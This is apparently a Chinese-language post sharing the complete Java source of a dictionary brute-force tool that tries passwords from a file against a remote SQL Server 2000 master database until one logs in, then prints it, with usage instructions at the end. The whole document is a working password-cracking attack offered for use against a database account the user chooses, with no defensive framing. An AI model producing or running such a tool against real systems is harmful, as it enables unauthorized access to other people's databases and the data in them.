暴力破解代码程序源代码:package cn.keona.check;import java.io.File;import java.io.FileReader;import java.io.BufferedReader;import java.io.IOException;import java.io.FileNotFoundException;import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLException;import java.util.List;import java.util.ArrayList;import java.text.MessageFormat;/*** 破解工具类*/public class CheckSQLPasswordUtil {//SQL-Server2000驱动.private static final String DBDRIVER = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; //数据库连接URL.private static final String DBURL = "jdbc:microsoft:sqlserver://{0}:1433;databasename=master";//远程数据库路径.private String databaseUrl;//需要破解的数据用户.private String dbUser;//密码文件路径.private String passwordPath;//密码集合.private List<String> passwords = new ArrayList<String>();//是否破解密码.private boolean isCheck;//正确密码.private String truePassword;//带参数构造方法.public CheckSQLPasswordUtil(String databaseUrl,String dbUser,String passwordPath) { this.databaseUrl = databaseUrl;this.dbUser = dbUser;this.passwordPath = passwordPath;this.isCheck = false;this.truePassword = "";}//初始化程序.private boolean init() {//参数检查.if(databaseUrl == null || databaseUrl.equals("")) {System.out.println("[系统提示]:请输入远程数据地址!");return false;}if(dbUser == null || dbUser.equals("")) {System.out.println("[系统提示]:请输入你要破解的数据库帐号!");}if(passwordPath == null || passwordPath.equals("")) {System.out.println("[系统提示]:请输入字典文件路径!");return false;}//数据库连接URL.MessageFormat format = new MessageFormat(DBURL);databaseUrl = format.format(DBURL,databaseUrl);System.out.println(databaseUrl);return true;}//破解密码.private boolean checkPass() {String pass = "";try {if(passwords.size()<1) {return false;}pass = passwords.get(0);passwords.remove(0);Class.forName(DBDRIVER);Connection conn = DriverManager.getConnection(databaseUrl,dbUser,pass); //执行到这里,表示测试成功.conn.close();truePassword = pass;isCheck = true;} catch(ClassNotFoundException classEx) {System.out.println("[系统提示]:没有找到合适的驱动包文件...!");return false;} catch(SQLException sqlEx) {System.out.println("[进度提示]:" + dbUser + "用户尝试" + pass + "....>>>失败!");//递归调用程序.checkPass();}return isCheck;}//获取装载好的密码字典.private void getPasswords() {BufferedReader reader = null;try {//装载文件.File file = new File(passwordPath);reader = new BufferedReader(new FileReader(file));//读取文件.String pass = "";while((pass = reader.readLine()) != null) {passwords.add(pass);}passwords.add("");System.out.println("[系统提示]:系统装载密码文件完毕,读取密码个数:" + passwords.size());} catch(FileNotFoundException fileEx) {System.out.println("[系统提示]:没有找到指定密码文件.!");} catch(IOException ioEx) {System.out.println("[系统提示]:读取密码文件出错.!");}//关闭流操作.try {if(reader != null) {reader.close();}} catch(IOException e) {}}//对外公开的破解方法.public void doCheck(){//开始时间.Long sTime = System.currentTimeMillis();//初始化参数.init();//装载密码.getPasswords();if(checkPass()) {System.out.println("");System.out.println("[系统提示]:破解密码成功! >>> :" + truePassword);} else {System.out.println("[系统提示]:破解密码失败,密码文件中不包含正确的密码!");}System.out.println("本次破解耗时:" + (System.currentTimeMillis() - sTime) + "ms.");}}package cn.keona.check;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.util.StringTokenizer;/*** 程序入口.*/public class CheckSQLPassword {public static void main(String[] args) {new CheckSQLPassword().doCheck();}public void doCheck() {System.out.println("Keona CheckSQLPassword V1.0");System.out.println("命令格式: check: -dbUrl -dbUser -passPath");System.out.println("dbUrl:远程数据库地址!\ndbUser:你需要破解的数据库帐号!\npassPath字典文件路径\n直接输入exit退出程序\n");try {BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); String cmd = reader.readLine().trim();if(!cmd.equalsIgnoreCase("exit")) {String[] params = parserCmd(cmd);CheckSQLPasswordUtil check = new CheckSQLPasswordUtil(params[0],params[1],params[2]);check.doCheck();} else {return;}} catch(IOException ioEx) {System.out.println("[系统提示]:读取命令错误..!");}}public String[] parserCmd(String cmd) {String[] params = new String[3];StringTokenizer token = new StringTokenizer(cmd.substring(cmd.indexOf(":")+1)," -"); for(int i=0; i<params.length; i++) {params[i] = token.nextToken();}return params;}}运行程序输入:check: -数据库URL地址-需要破解的用户-密码文件存放的位置.回车搞定.效果如下.。